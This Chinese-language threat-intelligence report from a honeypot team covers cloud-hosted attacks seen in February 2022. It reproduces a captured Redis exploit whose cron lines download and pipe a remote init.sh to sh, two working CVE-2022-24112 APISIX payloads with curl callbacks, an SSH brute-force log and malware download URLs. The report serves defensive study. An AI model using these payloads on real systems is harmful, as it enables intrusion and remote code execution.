protected])."}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 6218f6544257f30007fd0a65 |
post | null | 2022-03-02T02:33:55.000Z | 63873b9a8b1c1e0007f5300c | public-cloud-threat-intelligence-202202 | 0 | 2022-06-24T03:45:56.000Z | public | published | null | 2022-03-11T04:21:40.000Z | 公有云网络安全威胁情报（202202） | <!--kg-card-begin: markdown--><h2 id="1">1. 概述</h2>
<ul>
<li>
<p>17个云上重点资产有漏洞攻击行为，包括某民主党派市级委员会、某县级中医院等云上重点单位。</p>
</li>
<li>
<p>随着俄乌冲突全面升级，我们发现有攻击者利用Docker Remote API未授权访问漏洞，对俄罗斯境内服务器发起拒绝服务(DoS)网络攻击。</p>
</li>
<li>
<p>Apache APISIX本月爆出远程代码执行漏洞(CVE-2022-24112)，攻击者通过两种攻击方式可远程执行恶意代码。</p>
</li>
</ul>
<p>本文主要通过360网络安全研究院 Anglerfish蜜罐视角，分析云上热门漏洞攻击细节，以及云上重要资产在公网上发起攻击的情况。</p>
<h2 id="2">2. 云上资产对外扫描攻击</h2>
<p>2月份我们共发现17个命中蜜罐节点的重要单位的云上资产，下表为其中一部分案例，如果需要更多相关资料，请根据文末的联系方式与我们联系。</p>
<table>
<thead>
<tr>
<th style="text-align:center">IP地址</th>
<th style="text-align:center">云服务商</th>
<th style="text-align:center">单位名称</th>
<th>所属行业</th>
<th style="text-align:center">IP所在省份</th>
<th style="text-align:center">漏洞利用</th>
<th style="text-align:center">扫描协议</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align:center">39.105.204.*</td>
<td style="text-align:center">阿里云</td>
<td style="text-align:center">中国****市委员会</td>
<td>政府机关</td>
<td style="text-align:center">北京</td>
<td style="text-align:center">Redis RCE</td>
<td style="text-align:center">Redis</td>
</tr>
<tr>
<td style="text-align:center">39.105.159.*</td>
<td style="text-align:center">阿里云</td>
<td style="text-align:center">**县中医医院</td>
<td>事业单位</td>
<td style="text-align:center">北京</td>
<td style="text-align:center">SSH暴力破解</td>
<td style="text-align:center">HTTP<br />SSH</td>
</tr>
<tr>
<td style="text-align:center">139.159.180.*</td>
<td style="text-align:center">华为云</td>
<td style="text-align:center">**市**区人民政府**街道办事处</td>
<td>政府机关</td>
<td style="text-align:center">广东</td>
<td style="text-align:center">Telnet暴力破解<br />Gpon Router GponForm RCE<br />ThinkPHP RCE<br />Linksys Router unblock RCE</td>
<td style="text-align:center">HTTP<br />Telnet</td>
</tr>
</tbody>
</table>
<p>从行业分布看，在已知行业的重点IP中，事业单位占比最大达80%，其他还包括政府机关和国企。</p>
<p>位于北京的阿里云IP 39.105.204.*，属于某市民主党派委员会，在2月初春节期间一直有Redis扫描和漏洞利用的行为。</p>
<pre><code>*1
$7
COMMAND
*4
$6
config
$3
set
$10
dbfilename
$9
backup.db
*1
$4
save
*4
$6
config
$3
set
$27
stop-writes-on-bgsave-error
$2
no
*1
$8
flushall
*3
$3
set
$7
backup1
$69
*/2 * * * * cd1 -fsSL http://195.58.38.171/cleanfda/init.sh | sh
*3
$3
set
$7
backup2
$71
*/3 * * * * wget -q -O- http://195.58.38.171/cleanfda/init.sh | sh
*3
$3
set
$7
backup3
$72
*/4 * * * * curl -fsSL http://195.242.111.238/cleanfda/init.sh | sh
</code></pre>
<p>访问该IP地址对应的域名可以进入网页：</p>
<p><a href="__GHOST_URL__/content/images/2022/03/image-20220301172006905.png"><img src="__GHOST_URL__/content/images/2022/03/image-20220301172006905.png" class="kg-image"/></a></p>
<p>另一个阿里云IP地址为39.105.159.*，属于某县级中医院。通过对应域名可以访问医院的主页。</p>
<p><a href="__GHOST_URL__/content/images/2022/03/image-20220301173335648.png"><img src="__GHOST_URL__/content/images/2022/03/image-20220301173335648.png" class="kg-image"/></a></p>
<p>这个IP发起了大量SSH暴力破解攻击：</p>
<pre><code>{"username": "root", "version": "SSH-2.0-Go", "type": "ssh", "password": "qwertyui1", "hassh": "01ca35584ad5a1b66cf6a9846b5b2821", "exec_channel": "echo -e \"\\x6F\\x6B\""}
</code></pre>
<h2 id="3">3. 云上热门漏洞攻击</h2>
<h3 id="31dockerremoteapi">3.1 利用Docker Remote API未授权访问漏洞对俄罗斯发起网络攻击</h3>
<p>近期，俄乌局势紧张，冲突也蔓延至网络空间。2月下旬，蜜罐系统捕获到有攻击者利用Docker Remote API未授权访问漏洞在受害设备上部署名为“abagayev/stop-russia”的<a href="https://github.com/abagayev/stop-russia">GitHub开源镜像</a>，利用受害设备发起针对俄罗斯境内服务器的拒绝服务(DoS)网络攻击。</p>
<p>关于Docker Remote API未授权访问漏洞的利用方法，我们在<a href="__GHOST_URL__/public-cloud-threat-intelligence-202201/">上月报告</a>中已经做了较为详细的说明。</p>
<p>我们在本地部署镜像后监测到攻击行为：<br>
<a href="__GHOST_URL__/content/images/2022/03/image-20220308173707595.png"><img src="__GHOST_URL__/content/images/2022/03/image-20220308173707595.png" class="kg-image"/></a></p>
<p>在开源项目的<a href="https://github.com/abagayev/stop-russia/blob/main/resources.txt">这个页面</a>，列出了所有俄罗斯网站攻击目标。</p>
<h3 id="32apacheapisixbatchrequestscve202224112">3.2 Apache APISIX batch-requests 远程代码执行漏洞(CVE-2022-24112)</h3>
<h4 id="">漏洞信息</h4>
<p><strong>涉及产品及版本：</strong> Apache APISIX <2.10.4 / <2.12.1<br>
<strong>CVE:</strong> CVE-2022-24112<br>
<strong>披露日期：</strong> 2022年2月11日<br>
<strong>CVSS 3.X 评分：</strong> 9.8<br>
<strong>影响设备量级：</strong> 十万级</p>
<p>目前，该漏洞主要攻击TCP/9000和TCP/9080端口，PoC和技术细节已经公开。</p>
<p>蜜罐系统在2月17日首次捕获到对插件<code>/apisix/batch-requests</code>的访问，2月22日首次捕获到该漏洞的攻击数据包。2月份共捕获到该漏洞的云服务器攻击源IP 23个，其中亚马逊AWS最多。</p>
<h4 id="">攻击方式</h4>
<p>通过 REST Admin API 可以控制 Apache APISIX，但是，Admin API默认只允许127.0.0.1访问。这个漏洞允许攻击者通过默认开启的batch-requests插件的X-Real-IP参数绕过IP地址限制。</p>
<p>使用默认的API key通过该插件发送添加路由请求时，可通过filter_func（用户自定义的过滤函数，用来匹配规则）和script（在HTTP请求/响应周期中执行的脚本）两种方法在路由中写入恶意代码，导致远程代码执行漏洞。</p>
<p>方法1：通过filter_func方式的攻击Payload：</p>
<pre><code>POST /apisix/batch-requests HTTP/1.1
Host: {target}
Content-Length: 454
{"headers":{"X-Real-IP":"127.0.0.1","Content-Type":"application/json"},"timeout":1500,"pipeline":[{"method":"PUT","path":"/apisix/admin/routes/index?api_key=edd1c9f034335f136f87ad84b625c8f1","body":"{\r\n \"name\": \"test\", \"method\": [\"GET\"],\r\n \"uri\": \"/api/test\",\r\n \"upstream\":{\"type\":\"roundrobin\",\"nodes\":{\"httpbin.org:80\":1}}\r\n,\r\n\"filter_func\": \"function(vars) os.execute('curl 192.168.19.128:1234'); return true end\"}"}]}
</code></pre>
<p>方法2：通过script方式的攻击Payload：</p>
<pre><code>POST /apisix/batch-requests HTTP/1.1
Host: {target}
Content-Length: 421
{"headers":{"X-Real-IP":"127.0.0.1","Content-Type":"application/json"},"timeout":1500,"pipeline":[{"method":"PUT","path":"/apisix/admin/routes/index?api_key=edd1c9f034335f136f87ad84b625c8f1","body":"{\r\n \"name\": \"test\", \"method\": [\"GET\"],\r\n \"uri\": \"/api/test\",\r\n \"upstream\":{\"type\":\"roundrobin\",\"nodes\":{\"httpbin.org:80\":1}}\r\n,\r\n\"script\": \"os.execute('curl 192.168.19.128:1234')\"}"}]}
</code></pre>
<p>我们在本地做了该漏洞的复现，方法1需再次请求设置的URL才可以触发代码执行；方法2可直接触发代码执行，不需要发送二次请求。</p>
<p><a href="__GHOST_URL__/content/images/2022/03/image-20220309102920654.png"><img src="__GHOST_URL__/content/images/2022/03/image-20220309102920654.png" class="kg-image"/></a></p>
<p>2月23日开始，已有恶意软件利用漏洞传播，传播趋势如下图所示。<br>
<a href="__GHOST_URL__/content/images/2022/03/image-20220311121951071.png"><img src="__GHOST_URL__/content/images/2022/03/image-20220311121951071.png" class="kg-image"/></a></p>
<h2 id="4">4. 云服务器攻击总体情况</h2>
<p>2022年2月，360网络安全研究院 Anglerfish蜜罐系统监测到的云服务器源IP 386170个，其中漏洞扫描和攻击的IP 14072个，传播恶意软件的IP 4242个，进行密码爆破攻击的IP 4535个。</p>
<p>从云服务商的情况看，本月IP数量前5的云服务商仍然是腾讯云、DigitalOcean、阿里云、亚马逊AWS和微软Azure。<br>
<a href="__GHOST_URL__/content/images/2022/03/image-20220309190147632.png"><img src="__GHOST_URL__/content/images/2022/03/image-20220309190147632.png" class="kg-image"/></a></p>
<p>从漏洞来看，上月活跃的Docker Remote API未授权访问漏洞、美国飞塔（Fortinet）FortiOS未授权任意文件读取漏洞等在本月仍然较为活跃。GitLab、ISPY的相关漏洞本月活跃IP数量较上月有较多增长。</p>
<p><a href="__GHOST_URL__/content/images/2022/03/image-20220301145151733.png"><img src="__GHOST_URL__/content/images/2022/03/image-20220301145151733.png" class="kg-image"/></a></p>
<p>在恶意软件方面，本月木马下载器类(TrojanDownloader)的传播IP数量超过了恶意挖矿类(CoinMiner)恶意软件。<br>
<a href="__GHOST_URL__/content/images/2022/03/image-20220301152149325.png"><img src="__GHOST_URL__/content/images/2022/03/image-20220301152149325.png" class="kg-image"/></a></p>
<p>阿里云、腾讯云是传播恶意软件的攻击源IP最多的两家云服务商。<br>
<a href="__GHOST_URL__/content/images/2022/03/image-20220302165019982.png"><img src="__GHOST_URL__/content/images/2022/03/image-20220302165019982.png" class="kg-image"/></a></p>
<p>oracle.zzhreceive.top仍然是被最多IP使用的下载服务器，head.17kbx.net和payload.krakenbit.net相比上月使用的IP数量有明显的增加。<br>
<a href="__GHOST_URL__/content/images/2022/03/image-20220302151852549.png"><img src="__GHOST_URL__/content/images/2022/03/image-20220302151852549.png" class="kg-image"/></a></p>
<p>密码爆破攻击方面，87%的攻击源IP集中在SSH协议的密码爆破上，SSH仍然是受到爆破攻击最多的协议。腾讯云是攻击源IP最多的云服务商，提供了超过4000个IP。DigitalOcean和亚马逊AWS排在二三位。<br>
<a href="__GHOST_URL__/content/images/2022/03/image-20220309190420221.png"><img src="__GHOST_URL__/content/images/2022/03/image-20220309190420221.png" class="kg-image"/></a></p>
<h2 id="5">5. 防护建议</h2>
<p>针对本月新出现的Apache APISIX batch-requests远程代码执行漏洞(CVE-2022-24112)，云上用户可做好以下防护措施：<br>
1.在<code>conf/config.yaml</code>修改默认的admin_key，或者注释掉<code>conf/config-default.yaml</code>中的batch-requests；<br>
2.更新到最新版本 2.10.4 或者 2.12.1。</p>
<h2 id="6">6. 联系我们</h2>
<p>感兴趣的读者，可以通过邮箱netlab[at]360.cn联系我们。</p>
<h2 id="7ioclist">7. IoC List</h2>
<p>URL：</p>
<pre><code>http://107.172.249.169/Ugliest.mpsl
http://107.172.249.169/Ugliest.mips
http://107.172.249.169/Ugliest.arm6
http://96.8.121.110/The420SmokePlace.dns/KKveTTgaAAsecNNaaaa.mips
http://96.8.121.110/The420SmokePlace.dns/KKveTTgaAAsecNNaaaa.i486
http://96.8.121.110/The420SmokePlace.dns/KKveTTgaAAsecNNaaaa.m68k
http://107.172.89.142/lx/apep.arm
http://46.101.183.162/eski/.x/juice
http://172.245.186.149/Acid.x86
http://drpelvicpain.com/dr/nano.jpg
http://107.172.89.142/z.sh
</code></pre>
<p>md5：</p>
<pre><code>551341b7f4b547bdc2090f0f40f0cb43
c49271194f775e7fe66e3470b713f0c1
f787a3971619ec278c71f4b1eb88a555
850da4f2e67510e609f9b4db7dd7c8ed
200ea7427ffd18591c6535f67f167acc
a7de7cb5eff5f8ced23efe7eba90c33f
a67799c49ffee34b3467e7714a5abd86
4225d7b11dd787288e3edceab34fc43c
b0783f33954493b1a4ad60eff5eb457a
e956afe0cef4686de6829dcc08f3d46f
cf74569c199d630b49c5d363ae9231b6
</code></pre>
<!--kg-card-end: markdown--><p></p><p></p> | 1. 概述
*
17个云上重点资产有漏洞攻击行为，包括某民主党派市级委员会、某县级中医院等云上重点单位。
*
随着俄乌冲突全面升级，我们发现有攻击者利用Docker Remote API未授权访问漏洞，对俄罗斯境内服务器发起拒绝服务(DoS)网络攻击。
*
Apache APISIX本月爆出远程代码执行漏洞(CVE-2022-24112)，攻击者通过两种攻击方式可远程执行恶意代码。
本文主要通过360网络安全研究院 Anglerfish蜜罐视角，分析云上热门漏洞攻击细节，以及云上重要资产在公网上发起攻击的情况。
2. 云上资产对外扫描攻击
2月份我们共发现17个命中蜜罐节点的重要单位的云上资产，下表为其中一部分案例，如果需要更多相关资料，请根据文末的联系方式与我们联系。
IP地址
云服务商
单位名称
所属行业
IP所在省份
漏洞利用
扫描协议
39.105.204.*
阿里云
中国****市委员会
政府机关
北京
Redis RCE
Redis
39.105.159.*
阿里云
**县中医医院
事业单位
北京
SSH暴力破解
HTTP
SSH
139.159.180.*
华为云
**市**区人民政府**街道办事处
政府机关
广东
Telnet暴力破解
Gpon Router GponForm RCE
ThinkPHP RCE
Linksys Router unblock RCE
HTTP
Telnet
从行业分布看，在已知行业的重点IP中，事业单位占比最大达80%，其他还包括政府机关和国企。
位于北京的阿里云IP 39.105.204.*，属于某市民主党派委员会，在2月初春节期间一直有Redis扫描和漏洞利用的行为。
*1
$7
COMMAND
*4
$6
config
$3
set
$10
dbfilename
$9
backup.db
*1
$4
save
*4
$6
config
$3
set
$27
stop-writes-on-bgsave-error
$2
no
*1
$8
flushall
*3
$3
set
$7
backup1
$69
*/2 * * * * cd1 -fsSL http://195.58.38.171/cleanfda/init.sh | sh
*3
$3
set
$7
backup2
$71
*/3 * * * * wget -q -O- http://195.58.38.171/cleanfda/init.sh | sh
*3
$3
set
$7
backup3
$72
*/4 * * * * curl -fsSL http://195.242.111.238/cleanfda/init.sh | sh
访问该IP地址对应的域名可以进入网页：
另一个阿里云IP地址为39.105.159.*，属于某县级中医院。通过对应域名可以访问医院的主页。
这个IP发起了大量SSH暴力破解攻击：
{"username": "root", "version": "SSH-2.0-Go", "type": "ssh", "password": "qwertyui1", "hassh": "01ca35584ad5a1b66cf6a9846b5b2821", "exec_channel": "echo -e \"\\x6F\\x6B\""}
3. 云上热门漏洞攻击
3.1 利用Docker Remote API未授权访问漏洞对俄罗斯发起网络攻击
近期，俄乌局势紧张，冲突也蔓延至网络空间。2月下旬，蜜罐系统捕获到有攻击者利用Docker Remote API未授权访问漏洞在受害设备上部署名为“abagayev/stop-russia”的GitHub开源镜像，利用受害设备发起针对俄罗斯境内服务器的拒绝服务(DoS)网络攻击。
关于Docker Remote API未授权访问漏洞的利用方法，我们在上月报告中已经做了较为详细的说明。
我们在本地部署镜像后监测到攻击行为：
在开源项目的这个页面，列出了所有俄罗斯网站攻击目标。
3.2 Apache APISIX batch-requests 远程代码执行漏洞(CVE-2022-24112)
漏洞信息
涉及产品及版本： Apache APISIX <2.10.4 / <2.12.1
CVE: CVE-2022-24112
披露日期： 2022年2月11日
CVSS 3.X 评分： 9.8
影响设备量级： 十万级
目前，该漏洞主要攻击TCP/9000和TCP/9080端口，PoC和技术细节已经公开。
蜜罐系统在2月17日首次捕获到对插件/apisix/batch-requests的访问，2月22日首次捕获到该漏洞的攻击数据包。2月份共捕获到该漏洞的云服务器攻击源IP 23个，其中亚马逊AWS最多。
攻击方式
通过 REST Admin API 可以控制 Apache APISIX，但是，Admin API默认只允许127.0.0.1访问。这个漏洞允许攻击者通过默认开启的batch-requests插件的X-Real-IP参数绕过IP地址限制。
使用默认的API key通过该插件发送添加路由请求时，可通过filter_func（用户自定义的过滤函数，用来匹配规则）和script（在HTTP请求/响应周期中执行的脚本）两种方法在路由中写入恶意代码，导致远程代码执行漏洞。
方法1：通过filter_func方式的攻击Payload：
POST /apisix/batch-requests HTTP/1.1
Host: {target}
Content-Length: 454
{"headers":{"X-Real-IP":"127.0.0.1","Content-Type":"application/json"},"timeout":1500,"pipeline":[{"method":"PUT","path":"/apisix/admin/routes/index?api_key=edd1c9f034335f136f87ad84b625c8f1","body":"{\r\n \"name\": \"test\", \"method\": [\"GET\"],\r\n \"uri\": \"/api/test\",\r\n \"upstream\":{\"type\":\"roundrobin\",\"nodes\":{\"httpbin.org:80\":1}}\r\n,\r\n\"filter_func\": \"function(vars) os.execute('curl 192.168.19.128:1234'); return true end\"}"}]}
方法2：通过script方式的攻击Payload：
POST /apisix/batch-requests HTTP/1.1
Host: {target}
Content-Length: 421
{"headers":{"X-Real-IP":"127.0.0.1","Content-Type":"application/json"},"timeout":1500,"pipeline":[{"method":"PUT","path":"/apisix/admin/routes/index?api_key=edd1c9f034335f136f87ad84b625c8f1","body":"{\r\n \"name\": \"test\", \"method\": [\"GET\"],\r\n \"uri\": \"/api/test\",\r\n \"upstream\":{\"type\":\"roundrobin\",\"nodes\":{\"httpbin.org:80\":1}}\r\n,\r\n\"script\": \"os.execute('curl 192.168.19.128:1234')\"}"}]}
我们在本地做了该漏洞的复现，方法1需再次请求设置的URL才可以触发代码执行；方法2可直接触发代码执行，不需要发送二次请求。
2月23日开始，已有恶意软件利用漏洞传播，传播趋势如下图所示。
4. 云服务器攻击总体情况
2022年2月，360网络安全研究院 Anglerfish蜜罐系统监测到的云服务器源IP 386170个，其中漏洞扫描和攻击的IP 14072个，传播恶意软件的IP 4242个，进行密码爆破攻击的IP 4535个。
从云服务商的情况看，本月IP数量前5的云服务商仍然是腾讯云、DigitalOcean、阿里云、亚马逊AWS和微软Azure。
从漏洞来看，上月活跃的Docker Remote API未授权访问漏洞、美国飞塔（Fortinet）FortiOS未授权任意文件读取漏洞等在本月仍然较为活跃。GitLab、ISPY的相关漏洞本月活跃IP数量较上月有较多增长。
在恶意软件方面，本月木马下载器类(TrojanDownloader)的传播IP数量超过了恶意挖矿类(CoinMiner)恶意软件。
阿里云、腾讯云是传播恶意软件的攻击源IP最多的两家云服务商。
oracle.zzhreceive.top仍然是被最多IP使用的下载服务器，head.17kbx.net和payload.krakenbit.net相比上月使用的IP数量有明显的增加。
密码爆破攻击方面，87%的攻击源IP集中在SSH协议的密码爆破上，SSH仍然是受到爆破攻击最多的协议。腾讯云是攻击源IP最多的云服务商，提供了超过4000个IP。DigitalOcean和亚马逊AWS排在二三位。
5. 防护建议
针对本月新出现的Apache APISIX batch-requests远程代码执行漏洞(CVE-2022-24112)，云上用户可做好以下防护措施：
1.在conf/config.yaml修改默认的admin_key，或者注释掉conf/config-default.yaml中的batch-requests；
2.更新到最新版本 2.10.4 或者 2.12.1。
6. 联系我们
感兴趣的读者，可以通过邮箱netlab[at]360.cn联系我们。
7. IoC List
URL：
http://107.172.249.169/Ugliest.mpsl
http://107.172.249.169/Ugliest.mips
http://107.172.249.169/Ugliest.arm6
http://96.8.121.110/The420SmokePlace.dns/KKveTTgaAAsecNNaaaa.mips
http://96.8.121.110/The420SmokePlace.dns/KKveTTgaAAsecNNaaaa.i486
http://96.8.121.110/The420SmokePlace.dns/KKveTTgaAAsecNNaaaa.m68k
http://107.172.89.142/lx/apep.arm
http://46.101.183.162/eski/.x/juice
http://172.245.186.149/Acid.x86
http://drpelvicpain.com/dr/nano.jpg
http://107.172.89.142/z.sh
md5：
551341b7f4b547bdc2090f0f40f0cb43
c49271194f775e7fe66e3470b713f0c1
f787a3971619ec278c71f4b1eb88a555
850da4f2e67510e609f9b4db7dd7c8ed
200ea7427ffd18591c6535f67f167acc
a7de7cb5eff5f8ced23efe7eba90c33f
a67799c49ffee34b3467e7714a5abd86
4225d7b11dd787288e3edceab34fc43c
b0783f33954493b1a4ad60eff5eb457a
e956afe0cef4686de6829dcc08f3d46f
cf74569c199d630b49c5d363ae9231b6
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"## 1. 概述\n\n- 17个云上重点资产有漏洞攻击行为，包括某民主党派市级委员会、某县级中医院等云上重点单位。\n\n- 随着俄乌冲突全面升级，我们发现有攻击者利用Docker Remote API未授权访问漏洞，对俄罗斯境内服务器发起拒绝服务(DoS)网络攻击。\n\n- Apache APISIX本月爆出远程代码执行漏洞(CVE-2022-24112)，攻击者通过两种攻击方式可远程执行恶意代码。\n\n本文主要通过360网络安全研究院 Anglerfish蜜罐视角，分析云上热门漏洞攻击细节，以及云上重要资产在公网上发起攻击的情况。\n\n## 2. 云上资产对外扫描攻击\n\n2月份我们共发现17个命中蜜罐节点的重要单位的云上资产，下表为其中一部分案例，如果需要更多相关资料，请根据文末的联系方式与我们联系。\n\n\n| IP地址 | 云服务商 | 单位名称 | 所属行业 | IP所在省份 | 漏洞利用 | 扫描协议 |\n| :-----------: | :------: | :--------------------------------: | -------- | :--------: | :----------------------------------------------------------: | :--------------: |\n| 39.105.204.* | 阿里云 | 中国\\*\\*\\*\\*市委员会 | 政府机关 | 北京 | Redis RCE | Redis |\n| 39.105.159.* | 阿里云 | \\*\\*县中医医院 | 事业单位 | 北京 | SSH暴力破解 | HTTP<br />SSH |\n| 139.159.180.* | 华为云 | \\*\\*市\\*\\*区人民政府\\*\\*街道办事处 | 政府机关 | 广东 | Telnet暴力破解<br />Gpon Router GponForm RCE<br />ThinkPHP RCE<br />Linksys Router unblock RCE | HTTP<br />Telnet |\n\n从行业分布看，在已知行业的重点IP中，事业单位占比最大达80%，其他还包括政府机关和国企。\n\n位于北京的阿里云IP 39.105.204.\\*，属于某市民主党派委员会，在2月初春节期间一直有Redis扫描和漏洞利用的行为。\n\n```\n*1\n$7\nCOMMAND\n*4\n$6\nconfig\n$3\nset\n$10\ndbfilename\n$9\nbackup.db\n*1\n$4\nsave\n*4\n$6\nconfig\n$3\nset\n$27\nstop-writes-on-bgsave-error\n$2\nno\n*1\n$8\nflushall\n*3\n$3\nset\n$7\nbackup1\n$69\n\n*/2 * * * * cd1 -fsSL http://195.58.38.171/cleanfda/init.sh | sh\n\n*3\n$3\nset\n$7\nbackup2\n$71\n\n*/3 * * * * wget -q -O- http://195.58.38.171/cleanfda/init.sh | sh\n\n*3\n$3\nset\n$7\nbackup3\n$72\n\n*/4 * * * * curl -fsSL http://195.242.111.238/cleanfda/init.sh | sh\n```\n\n访问该IP地址对应的域名可以进入网页：\n\n<a href=\"__GHOST_URL__/content/images/2022/03/image-20220301172006905.png\"><img src=\"__GHOST_URL__/content/images/2022/03/image-20220301172006905.png\" class=\"kg-image\"/></a>\n\n另一个阿里云IP地址为39.105.159.\\*，属于某县级中医院。通过对应域名可以访问医院的主页。\n\n<a href=\"__GHOST_URL__/content/images/2022/03/image-20220301173335648.png\"><img src=\"__GHOST_URL__/content/images/2022/03/image-20220301173335648.png\" class=\"kg-image\"/></a>\n\n这个IP发起了大量SSH暴力破解攻击：\n\n```\n{\"username\": \"root\", \"version\": \"SSH-2.0-Go\", \"type\": \"ssh\", \"password\": \"qwertyui1\", \"hassh\": \"01ca35584ad5a1b66cf6a9846b5b2821\", \"exec_channel\": \"echo -e \\\"\\\\x6F\\\\x6B\\\"\"}\n```\n\n## 3. 云上热门漏洞攻击\n\n### 3.1 利用Docker Remote API未授权访问漏洞对俄罗斯发起网络攻击\n\n近期，俄乌局势紧张，冲突也蔓延至网络空间。2月下旬，蜜罐系统捕获到有攻击者利用Docker Remote API未授权访问漏洞在受害设备上部署名为“abagayev/stop-russia”的[GitHub开源镜像](https://github.com/abagayev/stop-russia)，利用受害设备发起针对俄罗斯境内服务器的拒绝服务(DoS)网络攻击。\n\n关于Docker Remote API未授权访问漏洞的利用方法，我们在[上月报告](__GHOST_URL__/public-cloud-threat-intelligence-202201/)中已经做了较为详细的说明。\n\n我们在本地部署镜像后监测到攻击行为：\n<a href=\"__GHOST_URL__/content/images/2022/03/image-20220308173707595.png\"><img src=\"__GHOST_URL__/content/images/2022/03/image-20220308173707595.png\" class=\"kg-image\"/></a>\n\n在开源项目的[这个页面](https://github.com/abagayev/stop-russia/blob/main/resources.txt)，列出了所有俄罗斯网站攻击目标。\n\n### 3.2 Apache APISIX batch-requests 远程代码执行漏洞(CVE-2022-24112)\n\n\n#### 漏洞信息\n\n**涉及产品及版本：** Apache APISIX <2.10.4 / <2.12.1\n**CVE:** CVE-2022-24112\n**披露日期：** 2022年2月11日\n**CVSS 3.X 评分：** 9.8\n**影响设备量级：** 十万级\n\n目前，该漏洞主要攻击TCP/9000和TCP/9080端口，PoC和技术细节已经公开。\n\n蜜罐系统在2月17日首次捕获到对插件`/apisix/batch-requests`的访问，2月22日首次捕获到该漏洞的攻击数据包。2月份共捕获到该漏洞的云服务器攻击源IP 23个，其中亚马逊AWS最多。\n\n#### 攻击方式\n\n通过 REST Admin API 可以控制 Apache APISIX，但是，Admin API默认只允许127.0.0.1访问。这个漏洞允许攻击者通过默认开启的batch-requests插件的X-Real-IP参数绕过IP地址限制。\n\n使用默认的API key通过该插件发送添加路由请求时，可通过filter_func（用户自定义的过滤函数，用来匹配规则）和script（在HTTP请求/响应周期中执行的脚本）两种方法在路由中写入恶意代码，导致远程代码执行漏洞。\n\n方法1：通过filter_func方式的攻击Payload：\n```\nPOST /apisix/batch-requests HTTP/1.1\nHost: {target}\nContent-Length: 454\n\n{\"headers\":{\"X-Real-IP\":\"127.0.0.1\",\"Content-Type\":\"application/json\"},\"timeout\":1500,\"pipeline\":[{\"method\":\"PUT\",\"path\":\"/apisix/admin/routes/index?api_key=edd1c9f034335f136f87ad84b625c8f1\",\"body\":\"{\\r\\n \\\"name\\\": \\\"test\\\", \\\"method\\\": [\\\"GET\\\"],\\r\\n \\\"uri\\\": \\\"/api/test\\\",\\r\\n \\\"upstream\\\":{\\\"type\\\":\\\"roundrobin\\\",\\\"nodes\\\":{\\\"httpbin.org:80\\\":1}}\\r\\n,\\r\\n\\\"filter_func\\\": \\\"function(vars) os.execute('curl 192.168.19.128:1234'); return true end\\\"}\"}]}\n```\n\n方法2：通过script方式的攻击Payload：\n```\nPOST /apisix/batch-requests HTTP/1.1\nHost: {target}\nContent-Length: 421\n\n{\"headers\":{\"X-Real-IP\":\"127.0.0.1\",\"Content-Type\":\"application/json\"},\"timeout\":1500,\"pipeline\":[{\"method\":\"PUT\",\"path\":\"/apisix/admin/routes/index?api_key=edd1c9f034335f136f87ad84b625c8f1\",\"body\":\"{\\r\\n \\\"name\\\": \\\"test\\\", \\\"method\\\": [\\\"GET\\\"],\\r\\n \\\"uri\\\": \\\"/api/test\\\",\\r\\n \\\"upstream\\\":{\\\"type\\\":\\\"roundrobin\\\",\\\"nodes\\\":{\\\"httpbin.org:80\\\":1}}\\r\\n,\\r\\n\\\"script\\\": \\\"os.execute('curl 192.168.19.128:1234')\\\"}\"}]}\n```\n\n我们在本地做了该漏洞的复现，方法1需再次请求设置的URL才可以触发代码执行；方法2可直接触发代码执行，不需要发送二次请求。\n\n<a href=\"__GHOST_URL__/content/images/2022/03/image-20220309102920654.png\"><img src=\"__GHOST_URL__/content/images/2022/03/image-20220309102920654.png\" class=\"kg-image\"/></a>\n\n2月23日开始，已有恶意软件利用漏洞传播，传播趋势如下图所示。\n<a href=\"__GHOST_URL__/content/images/2022/03/image-20220311121951071.png\"><img src=\"__GHOST_URL__/content/images/2022/03/image-20220311121951071.png\" class=\"kg-image\"/></a>\n\n## 4. 云服务器攻击总体情况\n\n2022年2月，360网络安全研究院 Anglerfish蜜罐系统监测到的云服务器源IP 386170个，其中漏洞扫描和攻击的IP 14072个，传播恶意软件的IP 4242个，进行密码爆破攻击的IP 4535个。\n\n从云服务商的情况看，本月IP数量前5的云服务商仍然是腾讯云、DigitalOcean、阿里云、亚马逊AWS和微软Azure。\n<a href=\"__GHOST_URL__/content/images/2022/03/image-20220309190147632.png\"><img src=\"__GHOST_URL__/content/images/2022/03/image-20220309190147632.png\" class=\"kg-image\"/></a>\n\n从漏洞来看，上月活跃的Docker Remote API未授权访问漏洞、美国飞塔（Fortinet）FortiOS未授权任意文件读取漏洞等在本月仍然较为活跃。GitLab、ISPY的相关漏洞本月活跃IP数量较上月有较多增长。\n\n<a href=\"__GHOST_URL__/content/images/2022/03/image-20220301145151733.png\"><img src=\"__GHOST_URL__/content/images/2022/03/image-20220301145151733.png\" class=\"kg-image\"/></a>\n\n在恶意软件方面，本月木马下载器类(TrojanDownloader)的传播IP数量超过了恶意挖矿类(CoinMiner)恶意软件。\n<a href=\"__GHOST_URL__/content/images/2022/03/image-20220301152149325.png\"><img src=\"__GHOST_URL__/content/images/2022/03/image-20220301152149325.png\" class=\"kg-image\"/></a>\n\n阿里云、腾讯云是传播恶意软件的攻击源IP最多的两家云服务商。\n<a href=\"__GHOST_URL__/content/images/2022/03/image-20220302165019982.png\"><img src=\"__GHOST_URL__/content/images/2022/03/image-20220302165019982.png\" class=\"kg-image\"/></a>\n\noracle.zzhreceive.top仍然是被最多IP使用的下载服务器，head.17kbx.net和payload.krakenbit.net相比上月使用的IP数量有明显的增加。\n<a href=\"__GHOST_URL__/content/images/2022/03/image-20220302151852549.png\"><img src=\"__GHOST_URL__/content/images/2022/03/image-20220302151852549.png\" class=\"kg-image\"/></a>\n\n密码爆破攻击方面，87%的攻击源IP集中在SSH协议的密码爆破上，SSH仍然是受到爆破攻击最多的协议。腾讯云是攻击源IP最多的云服务商，提供了超过4000个IP。DigitalOcean和亚马逊AWS排在二三位。\n<a href=\"__GHOST_URL__/content/images/2022/03/image-20220309190420221.png\"><img src=\"__GHOST_URL__/content/images/2022/03/image-20220309190420221.png\" class=\"kg-image\"/></a>\n\n## 5. 防护建议\n针对本月新出现的Apache APISIX batch-requests远程代码执行漏洞(CVE-2022-24112)，云上用户可做好以下防护措施：\n1.在`conf/config.yaml`修改默认的admin_key，或者注释掉`conf/config-default.yaml`中的batch-requests；\n2.更新到最新版本 2.10.4 或者 2.12.1。\n\n## 6. 